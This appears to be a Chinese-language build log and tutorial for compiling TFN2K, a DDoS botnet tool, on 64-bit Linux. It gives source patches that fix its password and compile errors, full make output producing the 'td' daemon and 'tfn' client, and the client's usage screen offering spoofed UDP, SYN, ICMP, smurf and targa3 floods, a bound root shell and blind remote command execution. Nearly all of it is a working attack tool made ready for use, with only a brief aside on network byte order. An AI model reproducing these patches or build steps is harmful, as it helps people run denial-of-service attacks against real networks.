DDos工具tfn2k的编译

root@ubuntu:/home/zhl/netsafe/tfn2k# git clone https://github.com/poornigga/tfn2k.git
Cloning into ‘tfn2k‘...
remote: Counting objects: 94, done.
remote: Total 94 (delta 0), reused 0 (delta 0), pack-reused 94
Unpacking objects: 100% (94/94), done.
Checking connectivity... done.

错误1 
aes.c文件 
aes_setkey函数中，使用key变量前，先对其置零； 
u4byte keylen = strlen (password) * 8; 
u4byte key[strlen (password) / 4]; 
添加一行代码： memset(key, 0, sizeof(key)); 
memcpy (key, password, strlen (password));

错误2 
aes.h文件 
在64位的系统下，gcc会认为unsigned long是8个字节，而tfn2k把它当4个字节使用，从而导致在aes_setkey函数中误用。 最终导致的问题就是，在使用./tfn攻击时时，输入正确密码也会一直提示“Sorry, passwords do not match.”,tfn2k不兼容64位。 
将typedef unsigned long u4byte; /* a 32 bit unsigned integer type */ 
中的long改为int，变成这样： 
typedef unsigned int u4byte; /* a 32 bit unsigned integer type */

错误3 
disc.c文件 
编译时，会提示open with O_CREAT in second argument needs 3 arguments时，open加上第三个参数0777； 
close (open ("agreed", O_WRONLY | O_CREAT | O_TRUNC)); 
open函数加上第三个参数0777，变成这样： 
close (open ("agreed", O_WRONLY | O_CREAT | O_TRUNC, 0777));

错误4 
mkpass.c文件 
和错误3一样，给open函数加上第三个参数0777 
fd = open ("pass.c", O_WRONLY | O_TRUNC | O_CREAT); 
变成这样： 
fd = open ("pass.c", O_WRONLY | O_TRUNC | O_CREAT, 0777);

make[1]: Entering directory ‘/home/zhl/netsafe/tfn2k/tfn2k/src‘
gcc -Wall -g    disc.c   -o disc
disc.c: In function ‘main’:
disc.c:24:5: warning: implicit declaration of function ‘exit’ [-Wimplicit-function-declaration]
     exit (0);
     ^
disc.c:24:5: warning: incompatible implicit declaration of built-in function ‘exit’
disc.c:24:5: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
./disc
 This program is distributed for educational purposes and without any
 explicit or implicit warranty; in no event shall the author or contributors
 be liable for any direct, indirect or incidental damages arising in any way
 out of the use of this software.

 I hereby certify that I will not hold the author liable for any wanted
 or unwanted effects caused by this program and that I will give the author
 full credit and exclusively use this program for educational purposes.


Do you agree to this disclaimer [y/n]? y
gcc -Wall -g    mkpass.c   -o mkpass
mkpass.c: In function ‘main’:
mkpass.c:104:11: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘size_t {aka long unsigned int}’ [-Wformat=]
   printf ("compiling server with %d byte password...\n", strlen (c));
           ^
./mkpass
server key [8 - 32 chars]: //注：这里输入12345678，攻击的时候需要输入密码
compiling server with 11 byte password...
gcc -Wall -g   -c -o pass.o pass.c
gcc -Wall -g   -c -o aes.o aes.c
aes.c: In function ‘aes_setkey’:
aes.c:10:19: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration]
   u4byte keylen = strlen (password) * 8;
                   ^
aes.c:10:19: warning: incompatible implicit declaration of built-in function ‘strlen’
aes.c:10:19: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
aes.c:12:3: warning: implicit declaration of function ‘memset’ [-Wimplicit-function-declaration]
   memset(key, 0, sizeof(key));
   ^
aes.c:12:3: warning: incompatible implicit declaration of built-in function ‘memset’
aes.c:12:3: note: include ‘<string.h>’ or provide a declaration of ‘memset’
aes.c:13:3: warning: implicit declaration of function ‘memcpy’ [-Wimplicit-function-declaration]
   memcpy (key, password, strlen (password));
   ^
aes.c:13:3: warning: incompatible implicit declaration of built-in function ‘memcpy’
aes.c:13:3: note: include ‘<string.h>’ or provide a declaration of ‘memcpy’
aes.c: In function ‘encode’:
aes.c:27:7: warning: incompatible implicit declaration of built-in function ‘memcpy’
       memcpy (in_blk, inbuf + i, 16);
       ^
aes.c:27:7: note: include ‘<string.h>’ or provide a declaration of ‘memcpy’
aes.c: In function ‘decode’:
aes.c:45:7: warning: incompatible implicit declaration of built-in function ‘memcpy’
       memcpy (in_blk, inbuf + i, 16);
       ^
aes.c:45:7: note: include ‘<string.h>’ or provide a declaration of ‘memcpy’
gcc -Wall -g   -c -o base64.o base64.c
gcc -Wall -g   -c -o cast.o cast.c
gcc -Wall -g   -c -o flood.o flood.c
In file included from flood.c:14:0:
tribe.h:39:6: warning: conflicting types for built-in function ‘bzero’
 void bzero (void *s, int n);
      ^
In file included from tribe.h:44:0,
                 from flood.c:14:
ip.h:50:19: error: conflicting types for ‘htonl’
 unsigned long int htonl (unsigned long int hostlong);
                   ^
In file included from /usr/include/netdb.h:27:0,
                 from tribe.h:25,
                 from flood.c:14:
/usr/include/netinet/in.h:379:17: note: previous declaration of ‘htonl’ was here
 extern uint32_t htonl (uint32_t __hostlong)
                 ^
In file included from tribe.h:44:0,
                 from flood.c:14:
ip.h:52:19: error: conflicting types for ‘ntohl’
 unsigned long int ntohl (unsigned long int netlong);
                   ^
In file included from /usr/include/netdb.h:27:0,
                 from tribe.h:25,
                 from flood.c:14:
/usr/include/netinet/in.h:376:17: note: previous declaration of ‘ntohl’ was here
 extern uint32_t ntohl (uint32_t __netlong) __THROW __attribute__ ((__const__));
                 ^
In file included from tribe.h:46:0,
                 from flood.c:14:
config.h:23:18: warning: extra tokens at end of #undef directive
 #undef ATTACKLOG "attack.log" /* keep server side logs of attacked victims */
                  ^
<builtin>: recipe for target ‘flood.o‘ failed
make[1]: *** [flood.o] Error 1
make[1]: Leaving directory ‘/home/zhl/netsafe/tfn2k/tfn2k/src‘
Makefile:5: recipe for target ‘all‘ failed
make: *** [all] Error 2
root@ubuntu:/home/zhl/netsafe/tfn2k/tfn2k# 

In file included from tribe.h:44:0,
                 from flood.c:14:
ip.h:52:19: error: conflicting types for ‘ntohl’
 unsigned long int ntohl (unsigned long int netlong);
                   ^
In file included from /usr/include/netdb.h:27:0,
                 from tribe.h:25,
                 from flood.c:14:
/usr/include/netinet/in.h:376:17: note: previous declaration of ‘ntohl’ was here
 extern uint32_t ntohl (uint32_t __netlong) __THROW __attribute__ ((__const__));
                 ^
In file included from tribe.h:46:0,
                 from flood.c:14:
config.h:23:18: warning: extra tokens at end of #undef directive
 #undef ATTACKLOG "attack.log" /* keep server side logs of attacked victims */
                  ^
<builtin>: recipe for target ‘flood.o‘ failed
make[1]: *** [flood.o] Error 1

ntohs =net to host short int 16位
htons=host to net short int 16位
ntohl =net to host long int 32位
htonl=host to net long int 32位

网络字节顺序NBO（Network Byte Order）

按从高到低的顺序存储，在网络上使用同一的网络字节顺序，可避免兼容性问题；

主机字节顺序HBO(Host Byte Order)

不同的机器HBO不相同，与CPU的设计有关，数据的顺序是由CPU决定的，而与操作系统无关；

如Intel x86结构下，short型数0x1234表示为34 12，int型数0x12345678表示为78 56 34 12；

如IBM power PC结构下，short型数0x1234表示为 12 34，int型数0x12345678表示为 12 34 56 78.

由于这个原因，不同体系结构的机器之间不能直接通信，所以要转换成一种约定的顺序，也就是网络字节顺序，其实就是如同power pc那样的顺序。在PC开发中有ntohl和htonl函数可以用来进行网络字节和主机字节的转换

linx系统下，htonl() htons() ntohl() ntohs()的头文件及函数定义如下：

#include <arpa/inet.h>

uint32_t htonl(uint32_t hostlong);

uint16_t htons(uint16_t hostshort);

uint32_t ntohl(uint32_t netlong);

uint16_t ntohs(uint16_t netshort);

#if __BYTE_ORDER == __BIG_ENDIAN
#define ntohl(x)        (x)
#define ntohs(x)        (x)
#define htonl(x)        (x)
#define htons(x)        (x)
/*#else
unsigned long int htonl (unsigned long int hostlong);
unsigned short int htons (unsigned short int hostshort);
unsigned long int ntohl (unsigned long int netlong);
unsigned short int ntohs (unsigned short int netshort);*/
#endif

root@ubuntu:/home/zhl/netsafe/tfn2k/tfn2k# make
cd src && make
make[1]: Entering directory ‘/home/zhl/netsafe/tfn2k/tfn2k/src‘
gcc -Wall -g   -c -o flood.o flood.c
In file included from flood.c:14:0:
tribe.h:39:6: warning: conflicting types for built-in function ‘bzero’
 void bzero (void *s, int n);
      ^
In file included from tribe.h:46:0,
                 from flood.c:14:
config.h:23:18: warning: extra tokens at end of #undef directive
 #undef ATTACKLOG "attack.log" /* keep server side logs of attacked victims */
                  ^
gcc -Wall -g   -c -o ip.o ip.c
In file included from ip.c:14:0:
tribe.h:39:6: warning: conflicting types for built-in function ‘bzero’
 void bzero (void *s, int n);
      ^
In file included from tribe.h:46:0,
                 from ip.c:14:
config.h:23:18: warning: extra tokens at end of #undef directive
 #undef ATTACKLOG "attack.log" /* keep server side logs of attacked victims */
                  ^
ip.c: In function ‘resolve’:
ip.c:24:9: warning: implicit declaration of function ‘memcpy’ [-Wimplicit-function-declaration]
         memcpy ((caddr_t) & tmp.add, he->h_addr, he->h_length);
         ^
ip.c:24:9: warning: incompatible implicit declaration of built-in function ‘memcpy’
ip.c:24:9: note: include ‘<string.h>’ or provide a declaration of ‘memcpy’
gcc -Wall -g   -c -o process.o process.c
In file included from process.c:14:0:
tribe.h:39:6: warning: conflicting types for built-in function ‘bzero’
 void bzero (void *s, int n);
      ^
In file included from tribe.h:46:0,
                 from process.c:14:
config.h:23:18: warning: extra tokens at end of #undef directive
 #undef ATTACKLOG "attack.log" /* keep server side logs of attacked victims */
                  ^
process.c: In function ‘shellsex’:
process.c:39:9: warning: implicit declaration of function ‘exit’ [-Wimplicit-function-declaration]
         exit (0);
         ^
process.c:39:9: warning: incompatible implicit declaration of built-in function ‘exit’
process.c:39:9: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
process.c:41:9: warning: incompatible implicit declaration of built-in function ‘exit’
         exit (0);
         ^
process.c:41:9: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
process.c:45:52: warning: pointer targets in passing argument 3 of ‘accept’ differ in signedness [-Wpointer-sign]
         s2 = accept (s1, (struct sockaddr *) &c_a, &s3);
                                                    ^
In file included from tribe.h:24:0,
                 from process.c:14:
/usr/include/x86_64-linux-gnu/sys/socket.h:243:12: note: expected ‘socklen_t * restrict {aka unsigned int * restrict}’ but argument is of type ‘int *’
 extern int accept (int __fd, __SOCKADDR_ARG __addr,
            ^
process.c: In function ‘commence_udp’:
process.c:90:17: warning: incompatible implicit declaration of built-in function ‘exit’
                 exit (0);
                 ^
process.c:90:17: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
process.c: In function ‘commence_syn’:
process.c:126:17: warning: incompatible implicit declaration of built-in function ‘exit’
                 exit (0);
                 ^
process.c:126:17: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
process.c: In function ‘commence_icmp’:
process.c:161:17: warning: incompatible implicit declaration of built-in function ‘exit’
                 exit (0);
                 ^
process.c:161:17: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
process.c: In function ‘commence_mix’:
process.c:196:17: warning: incompatible implicit declaration of built-in function ‘exit’
                 exit (0);
                 ^
process.c:196:17: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
process.c: In function ‘commence_smurf’:
process.c:243:17: warning: incompatible implicit declaration of built-in function ‘exit’
                 exit (0);
                 ^
process.c:243:17: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
process.c: In function ‘commence_targa3’:
process.c:278:17: warning: incompatible implicit declaration of built-in function ‘exit’
                 exit (0);
                 ^
process.c:278:17: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
gcc -Wall -g   -c -o tribe.o tribe.c
In file included from tribe.c:14:0:
tribe.h:39:6: warning: conflicting types for built-in function ‘bzero’
 void bzero (void *s, int n);
      ^
In file included from tribe.h:46:0,
                 from tribe.c:14:
config.h:23:18: warning: extra tokens at end of #undef directive
 #undef ATTACKLOG "attack.log" /* keep server side logs of attacked victims */
                  ^
tribe.c: In function ‘trimbuf’:
tribe.c:39:21: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration]
     for (i = 0; i < strlen (buf); i++)
                     ^
tribe.c:39:21: warning: incompatible implicit declaration of built-in function ‘strlen’
tribe.c:39:21: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
tribe.c: In function ‘tfntransmit’:
tribe.c:108:32: warning: incompatible implicit declaration of built-in function ‘strlen’
             encode64 (data, p, strlen (data));
                                ^
tribe.c:108:32: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
tribe.c:108:23: warning: pointer targets in passing argument 1 of ‘encode64’ differ in signedness [-Wpointer-sign]
             encode64 (data, p, strlen (data));
                       ^
In file included from tribe.h:45:0,
                 from tribe.c:14:
aes.h:37:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *encode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
tribe.c:108:29: warning: pointer targets in passing argument 2 of ‘encode64’ differ in signedness [-Wpointer-sign]
             encode64 (data, p, strlen (data));
                             ^
In file included from tribe.h:45:0,
                 from tribe.c:14:
aes.h:37:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *encode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
tribe.c:122:23: warning: pointer targets in passing argument 1 of ‘encode64’ differ in signedness [-Wpointer-sign]
             encode64 (data, p, strlen (data));
                       ^
In file included from tribe.h:45:0,
                 from tribe.c:14:
aes.h:37:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *encode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
tribe.c:122:29: warning: pointer targets in passing argument 2 of ‘encode64’ differ in signedness [-Wpointer-sign]
             encode64 (data, p, strlen (data));
                             ^
In file included from tribe.h:45:0,
                 from tribe.c:14:
aes.h:37:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *encode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
tribe.c:143:23: warning: pointer targets in passing argument 1 of ‘encode64’ differ in signedness [-Wpointer-sign]
             encode64 (data, p, strlen (data));
                       ^
In file included from tribe.h:45:0,
                 from tribe.c:14:
aes.h:37:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *encode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
tribe.c:143:29: warning: pointer targets in passing argument 2 of ‘encode64’ differ in signedness [-Wpointer-sign]
             encode64 (data, p, strlen (data));
                             ^
In file included from tribe.h:45:0,
                 from tribe.c:14:
aes.h:37:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *encode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
tribe.c:150:13: warning: implicit declaration of function ‘exit’ [-Wimplicit-function-declaration]
             exit (0);
             ^
tribe.c:150:13: warning: incompatible implicit declaration of built-in function ‘exit’
tribe.c:150:13: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
gcc -Wall -g   -c -o td.o td.c
In file included from td.c:14:0:
tribe.h:39:6: warning: conflicting types for built-in function ‘bzero’
 void bzero (void *s, int n);
      ^
In file included from tribe.h:46:0,
                 from td.c:14:
config.h:23:18: warning: extra tokens at end of #undef directive
 #undef ATTACKLOG "attack.log" /* keep server side logs of attacked victims */
                  ^
td.c: In function ‘main’:
td.c:35:9: warning: implicit declaration of function ‘exit’ [-Wimplicit-function-declaration]
         exit (-1);
         ^
td.c:35:9: warning: incompatible implicit declaration of built-in function ‘exit’
td.c:35:9: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
td.c:37:25: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration]
     memset (argv[0], 0, strlen (argv[0]));
                         ^
td.c:37:25: warning: incompatible implicit declaration of built-in function ‘strlen’
td.c:37:25: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
td.c:38:5: warning: implicit declaration of function ‘strcpy’ [-Wimplicit-function-declaration]
     strcpy (argv[0], HIDEME);
     ^
td.c:38:5: warning: incompatible implicit declaration of built-in function ‘strcpy’
td.c:38:5: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
td.c:44:9: warning: incompatible implicit declaration of built-in function ‘exit’
         exit (0);
         ^
td.c:44:9: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
td.c:82:23: warning: pointer targets in passing argument 1 of ‘decode64’ differ in signedness [-Wpointer-sign]
             decode64 (p, clear, i);
                       ^
In file included from tribe.h:45:0,
                 from td.c:14:
aes.h:38:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *decode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
td.c:82:26: warning: pointer targets in passing argument 2 of ‘decode64’ differ in signedness [-Wpointer-sign]
             decode64 (p, clear, i);
                          ^
In file included from tribe.h:45:0,
                 from td.c:14:
aes.h:38:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *decode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
td.c:99:23: warning: pointer targets in passing argument 1 of ‘decode64’ differ in signedness [-Wpointer-sign]
             decode64 (p, clear, i);
                       ^
In file included from tribe.h:45:0,
                 from td.c:14:
aes.h:38:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *decode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
td.c:99:26: warning: pointer targets in passing argument 2 of ‘decode64’ differ in signedness [-Wpointer-sign]
             decode64 (p, clear, i);
                          ^
In file included from tribe.h:45:0,
                 from td.c:14:
aes.h:38:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *decode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
td.c:116:23: warning: pointer targets in passing argument 1 of ‘decode64’ differ in signedness [-Wpointer-sign]
             decode64 (p, clear, i);
                       ^
In file included from tribe.h:45:0,
                 from td.c:14:
aes.h:38:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *decode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
td.c:116:26: warning: pointer targets in passing argument 2 of ‘decode64’ differ in signedness [-Wpointer-sign]
             decode64 (p, clear, i);
                          ^
In file included from tribe.h:45:0,
                 from td.c:14:
aes.h:38:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *decode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
td.c: In function ‘tribe_cmd’:
td.c:143:13: warning: incompatible implicit declaration of built-in function ‘strcpy’
             strcpy (argp[0], HIDEKIDS);
             ^
td.c:143:13: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
gcc -Wall -g  pass.o aes.o base64.o cast.o flood.o ip.o process.o tribe.o td.o -o td
strip td
gcc -Wall -g   -c -o tfn.o tfn.c
In file included from tfn.c:14:0:
tribe.h:39:6: warning: conflicting types for built-in function ‘bzero’
 void bzero (void *s, int n);
      ^
In file included from tribe.h:46:0,
                 from tfn.c:14:
config.h:23:18: warning: extra tokens at end of #undef directive
 #undef ATTACKLOG "attack.log" /* keep server side logs of attacked victims */
                  ^
tfn.c: In function ‘main’:
tfn.c:122:9: warning: implicit declaration of function ‘strcpy’ [-Wimplicit-function-declaration]
         strcpy (port, "0");
         ^
tfn.c:122:9: warning: incompatible implicit declaration of built-in function ‘strcpy’
tfn.c:122:9: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
tfn.c:139:17: warning: incompatible implicit declaration of built-in function ‘strcpy’
                 strcpy (target, "0");
                 ^
tfn.c:139:17: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
tfn.c: In function ‘passchk’:
tfn.c:232:28: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration]
     encode64 (test1, enc1, strlen (test1));
                            ^
tfn.c:232:28: warning: incompatible implicit declaration of built-in function ‘strlen’
tfn.c:232:28: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
tfn.c:232:15: warning: pointer targets in passing argument 1 of ‘encode64’ differ in signedness [-Wpointer-sign]
     encode64 (test1, enc1, strlen (test1));
               ^
In file included from tribe.h:45:0,
                 from tfn.c:14:
aes.h:37:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *encode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
tfn.c:232:22: warning: pointer targets in passing argument 2 of ‘encode64’ differ in signedness [-Wpointer-sign]
     encode64 (test1, enc1, strlen (test1));
                      ^
In file included from tribe.h:45:0,
                 from tfn.c:14:
aes.h:37:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *encode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
tfn.c:235:15: warning: pointer targets in passing argument 1 of ‘encode64’ differ in signedness [-Wpointer-sign]
     encode64 (test2, enc2, strlen (test2));
               ^
In file included from tribe.h:45:0,
                 from tfn.c:14:
aes.h:37:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *encode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
tfn.c:235:22: warning: pointer targets in passing argument 2 of ‘encode64’ differ in signedness [-Wpointer-sign]
     encode64 (test2, enc2, strlen (test2));
                      ^
In file included from tribe.h:45:0,
                 from tfn.c:14:
aes.h:37:9: note: expected ‘u1byte * {aka unsigned char *}’ but argument is of type ‘char *’
 u1byte *encode64 (u1byte * inbuf, u1byte * outbuf, int len);
         ^
tfn.c:237:9: warning: implicit declaration of function ‘strcmp’ [-Wimplicit-function-declaration]
     if (strcmp (enc1, enc2)) {
         ^
tfn.c:240:9: warning: implicit declaration of function ‘exit’ [-Wimplicit-function-declaration]
         exit (0);
         ^
tfn.c:240:9: warning: incompatible implicit declaration of built-in function ‘exit’
tfn.c:240:9: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
tfn.c: In function ‘tfn_sendto’:
tfn.c:252:13: warning: incompatible implicit declaration of built-in function ‘strcpy’
             strcpy (lport, port);
             ^
tfn.c:252:13: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
tfn.c:256:9: warning: incompatible implicit declaration of built-in function ‘strcpy’
         strcpy (ltarget, target);
         ^
tfn.c:256:9: note: include ‘<string.h>’ or provide a declaration of ‘strcpy’
tfn.c: In function ‘usage’:
tfn.c:295:5: warning: incompatible implicit declaration of built-in function ‘exit’
     exit (0);
     ^
tfn.c:295:5: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’
gcc -Wall -g  pass.o aes.o base64.o cast.o ip.o tribe.o tfn.o -o tfn
strip tfn
make[1]: Leaving directory ‘/home/zhl/netsafe/tfn2k/tfn2k/src‘
cp src/td src/tfn .
root@ubuntu:/home/zhl/netsafe/

root@ubuntu:/home/zhl/netsafe/tfn2k/tfn2k# ll
total 136
drwxr-xr-x 4 root root  4096 Sep 24 20:04 ./
drwxrwxr-x 3 zhl  zhl   4096 Sep 24 19:14 ../
drwxr-xr-x 8 root root  4096 Sep 24 19:14 .git/
-rw-r--r-- 1 root root    23 Sep 24 19:14 .gitignore
-rw-r--r-- 1 root root  6061 Sep 24 19:14 HOWTO.md
-rw-r--r-- 1 root root   112 Sep 24 19:14 Makefile
-rw-r--r-- 1 root root 11616 Sep 24 19:14 README
drwxr-xr-x 2 root root  4096 Sep 24 20:04 src/
-rwxr-xr-x 1 root root 47968 Sep 24 20:04 td*
-rwxr-xr-x 1 root root 43800 Sep 24 20:04 tfn*
root@ubuntu:/home/zhl/netsafe/tfn2k/tfn2k# ./tfn 
usage: ./tfn <options>
[-P protocol]    Protocol for server communication. Can be ICMP, UDP or TCP.
        Uses a random protocol as default
[-D n]           Send out n bogus requests for each real one to decoy targets
[-S host/ip]    Specify your source IP. Randomly spoofed by default, you need
        to use your real IP if you are behind spoof-filtering routers
[-f hostlist]    Filename containing a list of hosts with TFN servers to contact
[-h hostname]    To contact only a single host running a TFN server
[-i target string]    Contains options/targets separated by ‘@‘, see below
[-p port]             A TCP destination port can be specified for SYN floods
<-c command ID>    0 - Halt all current floods on server(s) immediately
        1 - Change IP antispoof-level (evade rfc2267 filtering)
            usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)
        2 - Change Packet size, usage: -i <packet size in bytes>
        3 - Bind root shell to a port, usage: -i <remote port>
        4 - UDP flood, usage: -i victim@victim2@victim3@...
        5 - TCP/SYN flood, usage: -i victim@... [-p destination port]
        6 - ICMP/PING flood, usage: -i victim@...
        7 - ICMP/SMURF flood, usage: -i victim@broadcast@broadcast2@...
        8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim@...
        9 - TARGA3 flood (IP stack penetration), usage: -i victim@...
        10 - Blindly execute remote shell command, usage -i command